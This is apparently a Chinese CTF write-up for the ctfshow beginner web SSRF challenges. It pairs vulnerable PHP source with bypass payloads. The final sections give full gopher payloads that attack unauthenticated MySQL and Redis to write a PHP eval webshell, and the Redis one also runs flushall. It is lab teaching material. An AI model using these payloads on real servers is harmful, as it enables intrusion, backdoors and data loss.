ctfshow--web入门--SSRF

ctfshow,web,入门,ssrf · 浏览次数 : 28

小编点评

内容生成时需要带简单的排版,并以简便的排版方式生成内容。

正文

ctfshow--web入门--SSRF

web351

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

没有进行过滤
payload

url=http://127.0.0.1/flag.php

web352

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

parse_url()函数会解析url中的各个参数
代码中会检测协议是否为http或https,使用正则表达式匹配关键字是否含有localhost或127.0.0
绕过方式:可以使用进制转换的方式将ip地址转换为其他进制进行访问
payload:

url=http://0x7F000001/flag.php		十六进制

web153

同上

web154

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

这里检测的是是否包含1或0,采用进制转换的方式就不能绕过了,可以采用域名解析或短网址绕过或者重定向
这里可以采用域名解析,让域名解析到127.0.0.1,再让服务器访问域名就可以了。

web155

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

这里对地址进行了长度检测,可以采用简写的方式去绕过
payload:

url=http://0/flag.php
url=http://127.1/flag.php

web156

同上

web157

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>

gethostbyname()这里对url对应的ip地址进行了检测,因此不能使用短网址,域名解析等手段了,只能采用重定向的方式,构建一个重定向的网页,跳转至http://127.0.0.1/flag.php即可,然后将文件放入服务器中,去访问它即可
payload:

<?php
header("Location:http://127.0.0.1/flag.php"); 

web158

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

源码中要求http://ctf.开头,以show结尾才可以进行读取url。
payload:

url=http://ctf.@127.0.0.1/flag.php?show

web159

在这里插入图片描述
题目中提示打无密码的myslq,那么攻击myslq肯定不能用http协议去攻击,这时候需要用到gopher协议进行对mysql的命令执行,使用工具Gopherus去生成payload,由于数据在提交过程中浏览器会对其进行url解码,为了保证服务器接受到的数据与payload一致,需要对带有百分号部分进行二次编码
在这里插入图片描述

payload:

http://a8649415-216a-49c8-8f44-265bc2682d7c.challenge.ctf.show/check.php

u=Username&returl=gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2546%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2578%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2531%252e%2570%2568%2570%2522%2501%2500%2500%2500%2501

最后在check.php页面进行传参
在这里插入图片描述
在这里插入图片描述
最后连接后门在服务器根目录下查看flag即可

web160

这里一样的方法,攻击redis数据库,默认生成的文件名为shell.php,将payload中带有百分号的部分进行二次编码然后进行传参即可。
在这里插入图片描述
payload:

url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252429%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255Bx%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

以上内容仅作参考学习,如有瑕疵或错误,希望各位师傅们斧正,感谢阅读。

与ctfshow--web入门--SSRF相似的内容:

ctfshow--web入门--SSRF

# ctfshow--web入门--SSRF ## web351 源码 ```php ``` 没有进行过滤 payload ``` url=http://127.0.0.1/flag.php ``` ## web352 源码 ```php hacker ``` parse_url()函数会解析url

ctfshow--web入门--文件上传

# ctfshow--web入门--文件上传 [TOC](目录标题) ## web151(前端校验) 题目中提示前端检验不可靠,应该对前端检验进行绕过 ![在这里插入图片描述](https://img-blog.csdnimg.cn/608e51750ded43f2aefc1c2a66a3e803.

ctfshow--web入门--XXE

# ctfshow--web入门--XXE ## web373 源码 ```php loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); //解析xml文档 $creds = simplexml_import_dom($dom); $ctfshow =

CTF反序列化wp(ciscn,nss,ctfshowweb入门)

[CISCN 2023 华北]ez_date 题目:

ctfshow-超详细通关教程-web(1~8)

快捷目录 web1 web2 web3 web4 web5 web6 web7 web8 1.web签到题 打开网址后出现如下界面。 查看一下网站源码 将Y3Rmc2hvd3s1ZjkxNTc3Yy03MmRkLTRhYzItYTE1Yi1lOWRhMjk4MTQyNjl9解码即可得到flag 2.

利用pearcmd实现裸文件包含

title: 利用pearcmd实现裸文件包含 tags: [web,文件包含] categories: [CTF,web] 利用pearcmd实现裸文件包含 在 ctf 中,常常有这样一类题: 题目很简单,一般围绕一个 include 函数展开。 例: ctfshow 元旦水友赛 easy_inc

CTFshow-Crypto(1-5)

1密码学签到 自己倒序 在线网站倒序 文字倒序工具,在线文字倒序 (qqxiuzi.cn) python脚本 a = '}wohs.ftc{galf' print(a[::-1], end="")#end=""表示每一次print后都不换行 2crypto2 下载附件并解压 JSFuck编码 查资料